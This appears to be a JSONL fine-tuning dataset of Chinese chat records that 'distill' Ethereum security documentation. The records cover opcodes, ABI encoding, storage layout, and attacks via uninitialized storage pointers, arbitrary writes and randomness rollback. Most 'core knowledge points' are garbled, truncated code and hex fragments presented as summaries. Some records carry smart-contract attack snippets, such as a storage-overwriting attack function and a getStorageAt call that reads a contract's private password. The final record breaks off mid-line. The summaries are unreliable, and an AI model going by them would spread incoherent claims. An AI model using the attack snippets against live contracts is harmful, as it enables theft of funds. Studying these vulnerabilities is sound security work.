{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-5c7f2f9e47819eb46158", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/opcodes.md` 中的章节「Ethereum Opcodes」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/opcodes.md`\n标题：Ethereum Opcodes\n章节：Ethereum Opcodes\n路径分类：blockchain / blockchain/ethereum/opcodes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Ethereum Opcodes”展开。\n- 更多的详细 opcodes 信息可以查看 ethervm.io。\n- info JUMPDEST 是跳转指令的 destination，跳转指令不能跳转到没有 JUMPDEST 的地方。\n\n关键术语：\n- 栈\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- opcodes.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1106, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "Ethereum Opcodes", "heading_path": ["Ethereum Opcodes"], "original_id": "docs-11a3a988245f5ed84cf1", "original_line": 8, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/opcodes.md", "source_root": "docs", "source_sha256": "83b2e1fe562b87b28ce5a9951941066867b20da95a20a1672867a0b75986c6a0", "split": "train", "split_group_key": "18aba3293f93744c7d10c066", "subcategory": "blockchain/ethereum/opcodes.md", "terms": ["栈", "区块链安全", "AI安全", "blockchain", "ethereum", "opcodes.md"], "title": "Ethereum Opcodes"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/opcodes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-63e8e4a4dfdefb2f3ed6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector > 例子\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- ``solidity pragma solidity >=0.4.16 <0.9.0;\n- } function test2(bytes3[2] memory) public { x = 1;\n- } function test3(uint32 x, bool y) public { x = 1;\n- } function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1;\n- } function test5(uint, Test memory test) public { x = 1;\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 29 行，首行 `pragma solidity >=0.4.16 <0.9.0;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 933, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Function Selector and Argument Encoding", "Function Selector", "例子"], "original_id": "docs-953abffb4156e1b95aa7", "original_line": 147, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "f64a002af5c39c39005394e4", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md", "code:solidity"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-6bef0716b3cedd3a6e60", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「SafeBox」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：SafeBox\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SafeBox”展开。\n- | unused (11) | hash (12) | callback (8) | done (1) | ----------------------------------------------------- | value (32) |\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "SafeBox", "heading_path": ["SafeBox"], "original_id": "docs-993bf8712e07ada49d6c", "original_line": 158, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "2940f81d569a51c9591e4b4b", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "storage.md"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-7055d63c565e7ff4bf16", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/uninitialized-storage-pointer.md` 中的章节「典型例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/uninitialized-storage-pointer.md`\n标题：Uninitialized Storage Pointer\n章节：Uninitialized Storage Pointer > 例子 > 典型例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“典型例子”展开。\n- 文件: figure/uninitialized-storage-pointer-attack.png] 这个例子的修复方案是使用 mapping 进行结构体的初始化，并使用 storage 进行拷贝： `solidity pragma solidity ^0.4.24;\n- 文件: figure/uninitialized-storage-pointer-attack2.png] 这个例子的修复方案是在声明局部变量 tmp 的时候对它进行初始化操作： `solidity pragma solidity ^0.4.24;\n- 我们来看下面这个例子： ``solidity pragma solidity ^0.4.24;\n- } function attack(uint _value, address _addr) public { Wallet wallet;\n- 文件: figure/uninitialized-storage-pointer-setvalue.png] 然后我们调用 attack 函数，传入的 _value 和 _addr 值分别为 2 和 0xa3b0D4BBF17F38e00F68Ce73f81D122FB1374ff6，可以从交易中发现 a 和 b 被传入的 _value 和 _addr 值覆盖了： [图片: uninitialized-storage-pointer-attack;\n\n关键术语：\n- 区块链安全\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- uninitialized-storage-pointer.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 18 行，首行 `pragma solidity ^0.4.24;`\n- solidity: 19 行，首行 `pragma solidity ^0.4.24;`\n- solidity: 13 行，首行 `pragma solidity ^0.4.24;`\n- solidity: 12 行，首行 `pragma solidity ^0.4.24;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 2450, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "典型例子", "heading_path": ["Uninitialized Storage Pointer", "例子", "典型例子"], "original_id": "docs-48bc33c24ec558870d7e", "original_line": 185, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/uninitialized-storage-pointer.md", "source_root": "docs", "source_sha256": "deb2007f85b1970ddff4168c27b979d4168adbea6aad2279c6a0b75613d6c737", "split": "train", "split_group_key": "2cdd6a5da8c0db9f84928a97", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "修复/缓解", "漏洞利用", "blockchain", "ethereum", "attacks", "uninitialized-storage-pointer.md", "code:solidity"], "title": "Uninitialized Storage Pointer"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/uninitialized-storage-pointer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-716fcff3b3f7fefffe05", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/arbitrarywrite.md` 中的章节「Source」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/arbitrarywrite.md`\n标题：Arbitrary Writing\n章节：Arbitrary Writing > 例子 > Source\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Source”展开。\n- } } `` 这里攻击者如何才能成为 owner 呢？\n- ``solidity pragma solidity ^0.4.24;\n- constructor() public { owner = msg.sender;\n- } function record(bytes32 _content) public { codex.push(_content);\n- } function retract() public { codex.length--;\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- arbitrarywrite.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 18 行，首行 `pragma solidity ^0.4.24;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 460, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Source", "heading_path": ["Arbitrary Writing", "例子", "Source"], "original_id": "docs-739c35c1de208a642efe", "original_line": 165, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "source_root": "docs", "source_sha256": "4ec6775f16eea2aad06238d91ee6b5a45b3846975e2309dbc7f4e4e0264b3580", "split": "train", "split_group_key": "768ba74ba329fafde8bff9b8", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "arbitrarywrite.md", "code:solidity"], "title": "Arbitrary Writing"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-723120f44424a64771a1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「Function Selector and Argument Encoding」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：1/1\n\n核心知识点：\n- > 详细可查看 官方文档 > 参考自己博客 Function Selector and Argument Encoding 在 Ethereum 生态系统中，ABI (Application Binary Interface，应用二进制接口) 是从区块链外部与合约进行交互以及合约与合约间进行交互的一种标准方式。\n- 数据会根据其类型按照这份手册中说明的方法进行编码。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 287, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "Function Selector and Argument Encoding", "heading_path": ["Function Selector and Argument Encoding"], "original_id": "docs-d135a56cce9666dfd8aa", "original_line": 145, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "0331e1ecfaf7a256d111fe0e", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-7a9525b53c615668de95", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「合约账户」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > 账户 > 合约账户\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“合约账户”展开。\n- note 私钥经过一种哈希算法(椭圆曲线算法 ECDSA-secp256k1 )计算生成公钥，计算公钥的 Keccak-256 哈希值，然后取最后 160 位二进制（通常表现为 40 位的 16 进制字符串）形成了地址。\n- 其中外部账户存储以太币余额状态，而合约账户除了余额还有智能合约及其变量的状态。\n- storageRoot: 存储区的哈希值，指向智能合约账户的存储数据区。\n- codeHash: 代码区的哈希值，指向智能合约账户存储的智能合约代码。\n- note 注：合约账户和外部账户最大的不同就是它还存有智能合约。\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- basics.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 833, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "合约账户", "heading_path": ["Ethereum Basics", "账户", "合约账户"], "original_id": "docs-a31fe882c59cd3ec61ff", "original_line": 131, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "41f5307f2b16ba9f8226fc3f", "subcategory": "blockchain/ethereum/basics.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "basics.md"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-7cfe1c902e04786d32f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/randomness.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/randomness.md`\n标题：Randomness\n章节：Randomness > 回滚攻击 > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- ``solidity contract ZeroLottery { ... mapping (address => uint256) public balanceOf;\n- // charge 0.5 ether for failure msg.sender.transfer(msg.value - 0.5 ether);\n- `solidity function guess() public { task.bet.value(2 ether)(1);\n- 结合智能合约收到转账时会调用 fallback 函数的知识点，假设每次使用 2 ether 去猜数，如果 fallback 函数收到 1.5 ether 就回滚。\n- } ... } ` 可以观察到题目合约在我们猜对或猜错时收费不同，分别为 1 ether 或 0.5 ether ，我们猜数时多给的钱会转账还给我们。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- randomness.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 20 行，首行 `contract ZeroLottery {`\n- solidity: 6 行，首行 `function guess() public {`\n- solidity: 4 行，首行 `function guess() public {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1321, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Randomness", "回滚攻击", "例子"], "original_id": "docs-a39b4599d5e27d8b90e7", "original_line": 182, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "source_root": "docs", "source_sha256": "ba2f6577866112dfaa7937bce8f66b068b3499c7af28aba5f2126be866be7cc5", "split": "train", "split_group_key": "122037e40e219cec2ef3eddd", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "randomness.md", "code:solidity"], "title": "Randomness"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-7fe6d61d06ae43c33175", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「交易内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > 交易 > 交易内容\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“交易内容”展开。\n- 以太坊中的交易（Transaction）是指存储一条从外部账户发送到区块链上另一个账户的消息的签名数据包，它既可以是简单的转账，也可以是包含智能合约代码的消息。\n- value: 发送者要转移给接收者的以太币数量 - data: 存在的数据字段，如果存在，则表明该交易是一个创建或者调用智能合约的交易；\n- to: 交易接收者的地址，如果为空则意味这是一个创建智能合约的交易；\n- info 根据 to、data 字段内容也可以反过来判断是什么类型的交易，然后可以继续分析。\n- 转帐交易 转账是最简单的一种交易，从一个账户向另一个账户发送 Ether，发送转账交易时只需要指定交易的发送者、接收者、转移的 Ether 数量即可（在客户端发送交易时，Gas Limit、Gas Price、nonce、hash、签名可以按照默认方式生成），如下所示 ``nodejs web3.eth.sendTransaction({ from: \"0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2\", to: \"0x75e65F3C1BB334ab927168Bd49F...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- basics.md\n- code:nodejs\n\n代码/命令片段线索：\n- nodejs: 5 行，首行 `web3.eth.sendTransaction({`\n- plain: 4 行，首行 `web3.eth.sendTransaction({`\n- plain: 5 行，首行 `web3.eth.sendTransaction({`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "交易内容", "heading_path": ["Ethereum Basics", "交易", "交易内容"], "original_id": "docs-0999f930629fbb04646e", "original_line": 134, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "bfa6991d2dc21a22bd2aed79", "subcategory": "blockchain/ethereum/basics.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "basics.md", "code:nodejs"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-81da63f137890ee542b6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/randomness.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/randomness.md`\n标题：Randomness\n章节：Randomness > 使用私有变量的伪随机数 > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- ``solidity pragma solidity ^0.4.18;\n- function Vault(bytes32 _password) public { locked = true;\n- } function unlock(bytes32 _password) public { if (password == _password) { locked = false;\n- } } } ` 直接使用 web3.eth.getStorageAt 确定参数调用即可 ` web3.eth.getStorageAt(ContractAddress, \"1\", function(x,y){console.info(y);\n- contract Vault { bool public locked;\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- randomness.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 14 行，首行 `pragma solidity ^0.4.18;`\n- plain: 1 行，首行 `web3.eth.getStorageAt(ContractAddress, \"1\", function(x,y){console.info(y);})`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 419, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Randomness", "使用私有变量的伪随机数", "例子"], "original_id": "docs-b4f055e5e55fcd2d3136", "original_line": 178, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "source_root": "docs", "source_sha256": "ba2f6577866112dfaa7937bce8f66b068b3499c7af28aba5f2126be866be7cc5", "split": "train", "split_group_key": "122037e40e219cec2ef3eddd", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "randomness.md", "code:solidity"], "title": "Randomness"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-83cf522fc6b7cce22a61", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：FailedAttempt > 参考\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- 以太坊智能合约 OPCODE 逆向之理论基础篇 - 全局变量的储存模型 - Solidity中文文档 - 存储中的状态变量储存结构 - web3.js - Ethereum JavaScript API - Balsn CTF 2019 - Bank\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 347, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "参考", "heading_path": ["FailedAttempt", "参考"], "original_id": "docs-77feabe6dfd6d7aae38a", "original_line": 160, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "bf044880ea820513193035f1", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "storage.md"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-84c4a89e0109852b5c7b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector and Argument Encoding > 例子\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：3/4\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 6378793200000000000000000000000000000000000000000000000000000000 // encoding of \"cxy2\" 16- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of \"pika2\" 17- 0x70696b6132000000000000000000000000000000000000000000000000000000 // enco...\n- 所以总的 encoding 如下 0xccc5bdd2 // function selector 0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // encoding of 0x123 1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter 2 - 0x000000000...\n- - test7([[1,2],[3]],[\"one\",\"two\",\"three\"])\n- ``` 同理进行由内向外的拆分，首先是 [[1,2],[3]] 动态数组中的 [1, 2] 和 [3] 两个动态数组 0 - a // offset of [1,2] 1 - b // offset of [3] 2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1,2] 3 - 0x000000000000000000000000000000000000000000000000000000...\n- 然后是 [[1,2],[3]] 动态数组本身的 encoding 0 - c // offset of [[1,2],[3]] 1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1,2],[3]] 2 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1,2] 3 - 0x0...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `- test7([[1,2],[3]],[\"one\",\"two\",\"three\"])`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 4419, "chunk_count": 4, "chunk_index": 2, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Function Selector 